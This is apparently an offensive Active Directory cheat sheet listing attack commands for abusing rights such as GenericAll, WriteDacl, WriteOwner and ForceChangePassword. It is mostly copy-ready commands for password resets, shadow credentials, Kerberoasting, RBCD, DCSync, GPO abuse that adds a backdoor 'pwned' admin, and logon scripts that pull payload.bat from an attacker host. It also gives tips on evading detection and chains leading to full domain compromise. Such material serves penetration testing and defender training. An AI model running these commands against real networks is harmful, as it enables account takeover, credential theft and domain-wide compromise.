Generic Rights
Generic Rights attack paths and exploitation techniques.
GenericAll on USER - Full Control
Complete control over target user. Reset password, add shadow credentials, set SPN for Kerberoasting, modify UAC, set logon script, or write any attribute.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set password {TARGET_USER} {NEW_PASSWORD}
nxc smb {DC_IP} -u {USERNAME} -p '{PASSWORD}' --smbpasswd {TARGET_USER} {NEW_PASSWORD}
rpcclient -U '{DOMAIN}/{USERNAME}%{PASSWORD}' {DC_IP} -c "setuserinfo2 {TARGET_USER} 23 '{NEW_PASSWORD}'"
smbpasswd.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -newpass '{NEW_PASSWORD}' -target {TARGET_USER}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p {NTLM_HASH} --no-ldaps set password {TARGET_USER} {NEW_PASSWORD}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add spn {TARGET_USER} 'MSSQLSvc/{DC_FQDN}:1433' GetUserSPNs.py -dc-ip {DC_IP} -request -outputfile {TARGET_USER}.kirb {DOMAIN}/{USERNAME}:{PASSWORD}
targetedKerberoast.py -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --dc-ip {DC_IP} -v --request-user {TARGET_USER}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add shadowCredentials {TARGET_USER}
pywhisker -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --target {TARGET_USER} --action add
certipy shadow auto -username {USERNAME}@{DOMAIN} -password '{PASSWORD}' -target {DC_IP} -account {TARGET_USER}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_USER} scriptPath '\\{ATTACKER_IP}\share\payload.bat'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add uac -f DONT_REQ_PREAUTH {TARGET_USER} GetNPUsers.py -dc-ip {DC_IP} -usersfile {TARGET_USER}.txt -format hashcat -outputfile {TARGET_USER}.asrep {DOMAIN}/
noPac.py -dc-ip {DC_IP} {DOMAIN}/{USERNAME}:{PASSWORD} -shell samtheadmin.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -dc-ip {DC_IP} -scheme ldap
$pass = ConvertTo-SecureString '{PASSWORD}' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('{DOMAIN}\{USERNAME}', $pass) Set-DomainUserPassword -Identity {TARGET_USER} -AccountPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
Set-ADAccountPassword -Identity {TARGET_USER} -NewPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
net user {TARGET_USER} {NEW_PASSWORD} /domain
# Add SPN via PowerView, then kerberoast Set-DomainObject -Identity {TARGET_USER} -Set @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred Rubeus.exe kerberoast /user:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP} /format:hashcat /outfile:{TARGET_USER}.kirb
Whisker.exe add /target:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP}
$key = New-ADKeyCredential -AccountName {TARGET_USER} -Domain {DOMAIN} Add-ADKeyCredential -AccountName {TARGET_USER} -KeyCredential $key
Set-DomainObject -Identity {TARGET_USER} -Set @{scriptpath='\\\\{ATTACKER_IP}\share\\payload.bat'} -Credential $cred
Set-DomainObject -Identity {TARGET_USER} -XOR @{useraccountcontrol=4194304} -Credential $cred Rubeus.exe asreproast /user:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP} /format:hashcat /outfile:{TARGET_USER}.asrep
TIPS & OPSEC
- Event 4724 logged on DC - password reset attempt. Use during business hours to blend in.
- Password policy: If complexity required, use
Pass1234!orWelcome2024!(15+ chars recommended). - Cleanup: Document original password hash. Reset back after use if stealth required.
- Detection: SIEM rules often alert on password resets by non-admin accounts.
- Alternative: If password reset blocked, try Shadow Credentials instead (no password change).
- Shadow Creds OPSEC: No password change = no 4724 event. Only 5136 (directory object modification).
COMMON ERRORS & FIXES
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users | grep -i targetnxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --active-usersnxc ldap {DC_IP} --pass-pol.bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET_USER}GetUserSPNs.py -request {DOMAIN}/{USERNAME}:{PASSWORD}CHAIN THIS ATTACK
Reset password → Login as target → Dump credentials → Escalate privileges
Common chains:
- Reset password →
evil-winrm-py/psexec.py→ SYSTEM shell - Shadow Credentials →
getnthash.py→ Pass-the-Hash → DCSync - Add SPN → Kerberoast →
hashcat→ cracked password → lateral movement - Set UAC → AS-REP Roast → crack offline → authentication
GenericAll on GROUP - Member Manipulation
Add yourself or any user to the target group. If the group has privileged rights (e.g., Domain Admins, Account Operators), immediate privilege escalation.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add groupMember {TARGET_GROUP} {TARGET_USER}
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --add-group-member {TARGET_GROUP} {TARGET_USER}
net rpc group addmem '{TARGET_GROUP}' {TARGET_USER} -U {DOMAIN}/{USERNAME}%'{PASSWORD}' -S {DC_IP}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p {NTLM_HASH} --no-ldaps add groupMember {TARGET_GROUP} {TARGET_USER}
Add-DomainGroupMember -Identity {TARGET_GROUP} -Members {TARGET_USER} -Credential $cred
Add-ADGroupMember -Identity {TARGET_GROUP} -Members {TARGET_USER} -Credential $cred
net group '{TARGET_GROUP}' {TARGET_USER} /add /domain
TIPS & OPSEC
- Event 4728/4732: Member added to security-enabled global/universal group. High visibility.
- SDProp: If target is a protected group (Domain Admins etc.), AdminSDHolder will revert changes every 60 min.
- Group scope: Universal groups can only contain users from the same forest. Domain local groups are more flexible.
- Cleanup: Remove yourself after exploitation:
bloodyAD remove groupMember {TARGET_GROUP} {USERNAME}
COMMON ERRORS & FIXES
bloodyAD get membership {TARGET_USER}CHAIN THIS ATTACK
Add to privileged group → Inherit group rights → DCSync / Admin access
Common chains:
- Add self to 'Account Operators' → GenericAll on any user → ForceChangePassword → Compromise
- Add self to 'DNS Admins' → DLL injection on DNS service → SYSTEM on DC
- Add self to 'Backup Operators' → SeBackupPrivilege → SAM/SECURITY hive dump
GenericAll on COMPUTER - RBCD, ShadowCreds, LAPS
Full control over a computer account. Set up RBCD, add shadow credentials, read LAPS, reset computer password, add SPN, or change UAC for unconstrained delegation.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER}
rbcd.py -delegate-from '{CONTROLLED_COMPUTER}$' -delegate-to '{TARGET_COMPUTER}$' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
ldeep ldap -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} -s ldap://{DC_IP} change_uac {TARGET_COMPUTER}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add shadowCredentials {TARGET_COMPUTER}
pywhisker -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --target {TARGET_COMPUTER} --action add
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set password {TARGET_COMPUTER}$ {NEW_PASSWORD}
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' -M laps secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER} -sam
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add spn {TARGET_COMPUTER}$ 'cifs/{TARGET_COMPUTER}' GetUserSPNs.py -dc-ip {DC_IP} -request {DOMAIN}/{USERNAME}:{PASSWORD}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add uac -f TRUSTED_FOR_DELEGATION {TARGET_COMPUTER}
noPac.py -dc-ip {DC_IP} {DOMAIN}/{USERNAME}:{PASSWORD} -shell samtheadmin.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -dc-ip {DC_IP} -scheme ldap
Set-ADComputer -Identity {TARGET_COMPUTER} -PrincipalsAllowedToDelegateToAccount ({CONTROLLED_COMPUTER} + '$') -Credential $cred
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
Whisker.exe add /target:{TARGET_COMPUTER}$ /domain:{DOMAIN} /dc:{DC_IP}
lsadump::sam /patch lsadump::lsa /patch
Set-DomainObject -Identity {TARGET_COMPUTER}$ -Set @{serviceprincipalname='cifs/{TARGET_COMPUTER}'} -Credential $cred
Rubeus.exe tgtdeleg /target:{TARGET_COMPUTER}$
TIPS & OPSEC
- RBCD cleanup:
bloodyAD remove rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER}or PowerView equivalent. - Computer password reset: Breaks domain trust. Target will need rejoin or password sync reset.
- LAPS: If LAPS is installed, GenericAll often grants read access to ms-Mcs-AdmPwd.
- Unconstrained delegation: Very noisy. Monitor for Event 4742.
- Shadow Credentials on computer: Excellent OPSEC - no password change, minimal logs.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
RBCD setup → S4U → Impersonate admin → DCSync / Shell
Common chains:
- RBCD → getST.py → psexec.py -k → SYSTEM shell
- Shadow Credentials → PKINIT → getnthash → Pass-the-Hash
- Reset computer password → NTLM relay → SAM dump
- Set UAC unconstrained → coerce DC → capture TGT → DCSync
GenericAll on DOMAIN - DCSync, Descendant Rights
Full control over the domain object. Can DCSync, grant descendant GenericAll, link malicious GPOs, modify trust properties, or add descendant objects.
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc
nxc smb {DC_IP} -u {USERNAME} -p '{PASSWORD}' --ntds
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get secrets
secretsdump.py -hashes {NTLM_HASH} '{DOMAIN}/{USERNAME}'@{DC_IP} -just-dc
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll {DOMAIN} {USERNAME}
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -principal {USERNAME} -target 'DC='+','.join('DC='+p for p in {DOMAIN}.split('.'))' -action write -rights GenericAll -dc-ip {DC_IP}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set gplink 'DC='+','.join('DC='+p for p in {DOMAIN}.split('.'))' {{GPO_GUID}}
python3 pyGPOAbuse.py -u {DOMAIN}\\{USERNAME} -p '{PASSWORD}' -d {DC_IP} -gpo-id '{GPO_GUID}' -command 'net user pwned Pass1234! /add'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add computer PWNED '{NEW_PASSWORD}'
addcomputer.py -computer-name 'PWNED$' -computer-pass '{NEW_PASSWORD}' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
lsadump::dcsync /domain:{DOMAIN} /dc:{DC_IP} /all
SharpKatz.exe --Command dcsync --Domain {DOMAIN} --DC {DC_IP}
Add-DomainObjectAcl -TargetIdentity 'DC='+','.join('DC='+p for p in {DOMAIN}.split('.'))' -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred
SharpGPOAbuse.exe --AddComputerTask --GPOID '{GPO_GUID}' --TaskName 'Pwn' --Author '{DOMAIN}\{USERNAME}' --Command 'cmd.exe' --Arguments '/c net user pwned Pass1234! /add'
New-GPLink -Name '{GPO_NAME}' -Target 'DC='+','.join('DC='+p for p in {DOMAIN}.split('.'))' -Enforced Yes -Credential $cred
TIPS & OPSEC
- DCSync Event 4662: Heavily monitored. Use
-just-dc-user krbtgtfor targeted extraction. - Descendant GenericAll: Grants full control over ALL objects in the domain. Extremely powerful.
- GPO link: Requires both Edit rights on GPO AND WriteGPLink on domain/OU.
- Trust modification: Use
netdom trustornltestto inspect/modify inter-forest trusts. - MachineAccountQuota: Check before adding computers:
bloodyAD get attribute {DOMAIN} ms-DS-MachineAccountQuota
COMMON ERRORS & FIXES
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add dcsync {USERNAME}CHAIN THIS ATTACK
DCSync → Extract krbtgt → Golden Ticket → Full domain compromise
Common chains:
- DCSync → crack hashes → lateral movement with psexec.py
- Grant descendant GenericAll → forcechangepassword on DA → domain admin
- Link malicious GPO → mass compromise of all domain computers
- Add computer → RBCD → compromise high-value target
GenericAll on CertTemplate - ESC4
Modify certificate template properties to create an ESC1 vulnerability (e.g., enable client supply subject, remove manager approval, add auth EKU).
certipy template -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -template {CERT_TEMPLATE} -save-old
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object '{CERT_TEMPLATE}' msPKI-Certificate-Name-Flag '1'
# Create LDIF to modify template attributes ldapmodify -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -f template_esc1.ldif
Certify.exe template /modify /template:{CERT_TEMPLATE} /attrib:msPKI-Certificate-Name-Flag=1
# Open Certificate Templates MMC, modify template properties manually.
TIPS & OPSEC
- Cleanup: Always restore original template after exploitation. Use
certipy template -restore. - Publish: Modified template must be published to an Enterprise CA to be exploitable.
- Detection: Template modifications are logged. Use during maintenance windows.
- Chain: ESC4 → ESC1 → certipy req -upn Administrator → certipy auth → DA access.
COMMON ERRORS & FIXES
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}CHAIN THIS ATTACK
Modify template → ESC1 → Request cert as Admin → Authenticate → Domain Admin
Common chains:
- ESC4 → enable client supply subject → ESC1 → certipy req -upn Administrator → auth
- ESC4 → add Any Purpose EKU → forge authentication cert
- ESC4 → remove manager approval → instant certificate issuance
GenericWrite on USER - Targeted Attribute Abuse
Write specific attributes on a user. Set SPN, msDS-KeyCredentialLink (Shadow Creds), scriptPath, UAC flags, unixUserPassword, mail, or manager.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_USER} servicePrincipalName 'MSSQLSvc/{DC_FQDN}:1433'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add shadowCredentials {TARGET_USER}
pywhisker -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' --target {TARGET_USER} --action add
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add uac -f DONT_REQ_PREAUTH {TARGET_USER}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_USER} scriptPath '\\{ATTACKER_IP}\share\payload.bat'
Set-DomainObject -Identity {TARGET_USER} -Set @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred
Whisker.exe add /target:{TARGET_USER} /domain:{DOMAIN} /dc:{DC_IP}
Set-ADObject -Identity {TARGET_USER} -Replace @{serviceprincipalname='MSSQLSvc/{DC_FQDN}:1433'} -Credential $cred
TIPS & OPSEC
- GenericWrite vs GenericAll: GenericWrite is more targeted - only specific attributes, not full control.
- Shadow Credentials: Best OPSEC option - no password change, minimal event noise.
- SPN addition: May trigger Event 4742. Remove SPN after Kerberoasting.
- scriptPath: Runs when user logs in interactively. Requires logon event.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
GenericWrite → Set SPN → Kerberoast → cracked hash → login
Common chains:
- Set SPN → GetUserSPNs.py → hashcat → lateral movement
- Shadow Credentials → PKINIT → getnthash → Pass-the-Hash → DCSync
- Set scriptPath → wait for interactive logon → code execution
GenericWrite on COMPUTER - RBCD, dNSHostName
Write msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD), msDS-KeyCredentialLink, servicePrincipalName, msDS-AdditionalDnsHostName, or dNSHostName (noPac/samaccountname spoofing).
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add rbcd {TARGET_COMPUTER} {CONTROLLED_COMPUTER}
rbcd.py -delegate-from '{CONTROLLED_COMPUTER}$' -delegate-to '{TARGET_COMPUTER}$' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add shadowCredentials {TARGET_COMPUTER}
noPac.py -dc-ip {DC_IP} {DOMAIN}/{USERNAME}:{PASSWORD} -shell -target {TARGET_COMPUTER}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET_COMPUTER}$ dNSHostName '{DC_HOSTNAME}.{DOMAIN}'
Set-DomainObject -Identity {TARGET_COMPUTER}$ -Set @{msds-allowedtoactonbehalfofotheridentity=$sid} -Credential $cred
SharpRBCD.exe --Action write --Target {TARGET_COMPUTER} --SID {TARGET_SID}
Whisker.exe add /target:{TARGET_COMPUTER}$ /domain:{DOMAIN} /dc:{DC_IP}
TIPS & OPSEC
- RBCD: Requires a computer account under your control. Check MachineAccountQuota first.
- dNSHostName spoofing: Deletes existing SPNs → adds dNSHostName → requests cert → restores SPNs.
- Shadow Credentials: Works even without MachineAccountQuota if you have GenericWrite.
- Cleanup: Remove msDS-AllowedToAct after exploitation to reduce detection.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
GenericWrite → RBCD → S4U → Impersonate admin → Shell
Common chains:
- RBCD → getST.py → psexec.py → SYSTEM
- Shadow Credentials → PKINIT → NTLM hash → DCSync
- dNSHostName spoofing → certipy req → certipy auth → DA
GenericExecute - Limited Standalone Value
GenericExecute alone is rarely directly exploitable in AD. On GPO/OU it can enable execution of linked scripts if combined with write access to gPCFileSysPath.
No Linux-specific commands for this edge.
No Windows-specific commands for this edge.
TIPS & OPSEC
- Combine with Write: GenericExecute + GenericWrite on GPO = code execution via modified GPT.
- SYSVOL: If you can write to the GPT folder in SYSVOL, GenericExecute ensures the scripts run.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
GenericExecute + Write to GPT → Script execution
Common chains:
- Combine with GenericWrite on GPO for full exploitation
GenericRead - Recon & Enumeration
Read all attributes of target object. Essential for reconnaissance to identify abuse paths, group memberships, ACLs, and sensitive attributes.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get info {TARGET} bloodyAD get attribute {TARGET} memberOf bloodyAD get acl {TARGET} --resolve-sids
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b '{DOMAIN}' '(samAccountName={TARGET})'
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --users --groups --computers --pass-pol
ldapdomaindump ldap://{DC_IP} -u '{DOMAIN}\\{USERNAME}' -p '{PASSWORD}' -o ldap_dump
bloodhound-python -u {USERNAME} -p '{PASSWORD}' -ns {DC_IP} -d {DOMAIN} -c All
ldeep ldap -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} -s ldap://{DC_IP} enum_users enum_groups enum_computers
Get-DomainUser -Identity {TARGET} -Credential $cred | Select-Object * Get-DomainObjectAcl -Identity {TARGET} -ResolveGUIDs -Credential $cred
Get-ADUser -Identity {TARGET} -Properties * -Credential $cred Get-ADGroupMember -Identity {TARGET} -Credential $cred
dsquery user -name {TARGET} nltest /dclist:{DOMAIN} netdom query fsmo
TIPS & OPSEC
- ACL enumeration: Always resolve SIDs to names with
--resolve-sidsor-ResolveGUIDs. - Sensitive attributes: Look for unixUserPassword, ms-Mcs-AdmPwd, msDS-KeyCredentialLink, scriptPath.
- BloodHound: Use bloodhound-python or SharpHound for graph-based path analysis.
- Recon OPSEC: LDAP queries are less noisy than SMB enumeration.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Read ACLs → identify abuse path → escalate privileges
Common chains:
- Enumerate ACLs → find WriteDacl/GenericAll path → exploitation
- Read LAPS → local admin password → lateral movement
- Read group memberships → identify privilege escalation targets
Standard Rights
Standard Rights attack paths and exploitation techniques.
WriteDacl - Modify Permissions
Modify the target object's DACL. Grant yourself GenericAll, DCSync, or any other right. The ultimate privilege escalation primitive.
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -principal {USERNAME} -target {TARGET} -action write -rights GenericAll -dc-ip {DC_IP}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll {TARGET} {USERNAME} # Or for DCSync: bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add dcsync {USERNAME}
dacledit.py -hashes {NTLM_HASH} '{DOMAIN}/{USERNAME}' -principal {USERNAME} -target {TARGET} -action write -rights GenericAll -dc-ip {DC_IP}
Add-DomainObjectAcl -TargetIdentity {TARGET} -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred
dsacls '{TARGET}' /G '{DOMAIN}\{USERNAME}:GA'
# PowerShell example using .NET $target = [ADSI]'LDAP://{DC_IP}/{TARGET}' $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(...)
TIPS & OPSEC
- Backup created: dacledit.py automatically creates
.bakfile. Restore with-action restore. - Event 4670: Object permission change logged. High noise - use during business hours.
- Target formats: Can use samAccountName, DN, or SID as {TARGET}.
- Common targets: Domain root (DC=htb,DC=local), users, groups, computers, GPOs.
COMMON ERRORS & FIXES
bloodyAD get acl {TARGET}. If no WriteDacl, try WriteOwner first.DC=htb,DC=local. Use samAccountName for users/groups.CHAIN THIS ATTACK
WriteDacl → GenericAll → Exploit target → Domain compromise
Common chains:
- WriteDacl on domain → GenericAll → DCSync → full compromise
- WriteDacl on user → ForceChangePassword → login → credential dump
- WriteDacl on computer → RBCD → SYSTEM shell
WriteOwner - Take Ownership
Change object owner. As owner, you can modify DACL even without explicit WriteDacl. Two-step escalation: WriteOwner → WriteDacl → GenericAll.
owneredit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -action write -new-owner {USERNAME} -target {TARGET} -dc-ip {DC_IP}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set owner {TARGET} {USERNAME}
Set-DomainObjectOwner -Identity {TARGET} -OwnerIdentity {USERNAME} -Credential $cred
dsacls '{TARGET}' /setowner '{DOMAIN}\{USERNAME}'
TIPS & OPSEC
- Chain required: WriteOwner alone doesn't grant rights. Must follow with WriteDacl → GenericAll.
- OWNER RIGHTS SID: If
S-1-3-4exists on DACL with explicit deny, owner rights are blocked. - SeRestorePrivilege: Required to set arbitrary owner (not just self). Usually held by admins.
- AdminSDHolder: Protected objects revert owner changes every 60 min via SDProp.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
WriteOwner → WriteDacl → GenericAll → Exploit
Common chains:
- WriteOwner → owneredit.py → dacledit.py → GenericAll → DCSync
- WriteOwner → PowerView → Add-DomainObjectAcl → exploitation
Delete - Destructive Actions
Delete object → DoS or force recreation with weaker ACLs. Very high noise. Events 4726, 4743, 4730.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' remove user {TARGET_USER}
ldapdelete -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' 'CN={TARGET_USER},OU=Users,{DOMAIN_DN}'
Remove-ADObject -Identity {TARGET} -Confirm:$false -Credential $cred
dsrm 'CN={TARGET_USER},OU=Users,{DOMAIN_DN}' -noprompt
TIPS & OPSEC
- OPSEC: Very high noise. Events 4726, 4743, 4730 logged immediately.
- DoS risk: Deleting critical objects can break domain functionality.
- Recreation: Deleted objects go to AD Recycle Bin (if enabled). May be recoverable.
- Rarely useful: Only use if recreation grants weaker ACLs or clears protected attributes.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Delete object → recreate with weaker ACLs → exploit
Common chains:
- Rarely used for escalation. Consider WriteDacl instead.
ReadControl - Read DACL
Read the object's DACL to identify ACL abuse paths. Essential reconnaissance step.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get acl {TARGET} --resolve-sids
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -target {TARGET} -action read -dc-ip {DC_IP}
Get-DomainObjectAcl -Identity {TARGET} -ResolveGUIDs -Credential $cred
dsacls '{TARGET}'
TIPS & OPSEC
- Always resolve SIDs: Use
--resolve-sidsor-ResolveGUIDsfor readable output. - Look for: WriteDacl, WriteOwner, GenericAll, GenericWrite, ForceChangePassword.
- Inheritance: Check if rights are inherited or explicit. Inherited rights may be blocked.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Read DACL → identify abuse path → escalate
Common chains:
- ReadControl → WriteDacl → GenericAll → exploitation
ListChildren - Container Enumeration
List direct children of a container, OU, or domain. Used for AD structure reconnaissance.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' get children {TARGET}
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -s one -b '{TARGET}'
Get-DomainObject -SearchBase '{TARGET}' -SearchScope OneLevel -Credential $cred
TIPS & OPSEC
- One-level only: ListChildren does NOT recurse. Use recursive search for deep enumeration.
- Combine with: GenericRead on child objects for full attribute enumeration.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
List children → enumerate attributes → find abuse paths
Common chains:
- ListChildren → GenericRead on interesting objects → path to escalation
CreateChild - Account Creation
Create new computer or user accounts in a container, OU, or domain. Requires MachineAccountQuota > 0 for computers.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add computer PWNED '{NEW_PASSWORD}' bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add user pwned '{NEW_PASSWORD}'
addcomputer.py -computer-name 'PWNED$' -computer-pass '{NEW_PASSWORD}' -dc-ip {DC_IP} '{DOMAIN}/{USERNAME}:{PASSWORD}'
nxc ldap {DC_IP} -u {USERNAME} -p '{PASSWORD}' --add-computer PWNED '{NEW_PASSWORD}'
New-ADComputer -Name 'PWNED' -AccountPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred New-ADUser -Name 'pwned' -AccountPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
netdom add PWNED /domain:{DOMAIN} /userd:{USERNAME} /passwordd:'{PASSWORD}'
TIPS & OPSEC
- MachineAccountQuota: Check before creating computers:
bloodyAD get attribute {DOMAIN} ms-DS-MachineAccountQuota. - Cleanup: Remove created accounts after use:
bloodyAD remove computer PWNED. - Pre-created computers: If quota is 0, look for pre-created computers with known passwords.
COMMON ERRORS & FIXES
bloodyAD get attribute {DOMAIN} ms-DS-MachineAccountQuota. Use existing computer or pre-created account.CHAIN THIS ATTACK
Create computer → RBCD setup → S4U → SYSTEM shell
Common chains:
- Create computer → RBCD → compromise high-value target
- Create user → add to privileged group → domain admin
DeleteChild - Remove Children
Delete child objects from a container or OU. Destructive and rarely used for escalation.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' remove user {TARGET_USER}
ldapdelete -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' 'CN={TARGET_USER},OU=Users,{DOMAIN_DN}'
Remove-ADObject -Identity {TARGET} -Confirm:$false -Credential $cred
TIPS & OPSEC
- OPSEC: Very high noise. Events logged for every deletion.
- Use case: Rarely useful for escalation. Consider WriteDacl instead.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Delete child → force recreation → weaker ACLs
Common chains:
- Rarely used. Prefer WriteDacl or GenericWrite for escalation.
Extended Rights
Extended Rights attack paths and exploitation techniques.
ForceChangePassword - Reset Without Current
Reset a user's password without knowing the current password. Requires only extended right, not full GenericAll.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set password {TARGET_USER} {NEW_PASSWORD}
nxc smb {DC_IP} -u {USERNAME} -p '{PASSWORD}' --smbpasswd {TARGET_USER} {NEW_PASSWORD}
rpcclient -U '{DOMAIN}/{USERNAME}%{PASSWORD}' {DC_IP} -c "setuserinfo2 {TARGET_USER} 23 '{NEW_PASSWORD}'"
smbpasswd.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -newpass '{NEW_PASSWORD}' -target {TARGET_USER}
net rpc password {TARGET_USER} '{NEW_PASSWORD}' -U {DOMAIN_NETBIOS}/{USERNAME}%'{PASSWORD}' -S {DC_IP}
Set-DomainUserPassword -Identity {TARGET_USER} -AccountPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
Set-ADAccountPassword -Identity {TARGET_USER} -NewPassword (ConvertTo-SecureString '{NEW_PASSWORD}' -AsPlainText -Force) -Credential $cred
net user {TARGET_USER} {NEW_PASSWORD} /domain
TIPS & OPSEC
- Event 4724: Password reset attempt logged. Less suspicious than GenericAll modification (4670).
- vs GenericAll: ForceChangePassword is more targeted - only password reset, not full control.
- Password policy: Must meet domain complexity requirements or reset fails.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Reset password → Login as user → Dump credentials → Escalate
Common chains:
- Reset password → evil-winrm-py → SYSTEM shell
- Reset password → runas → interactive session → manual enumeration
AllExtendedRights - Varies by Target
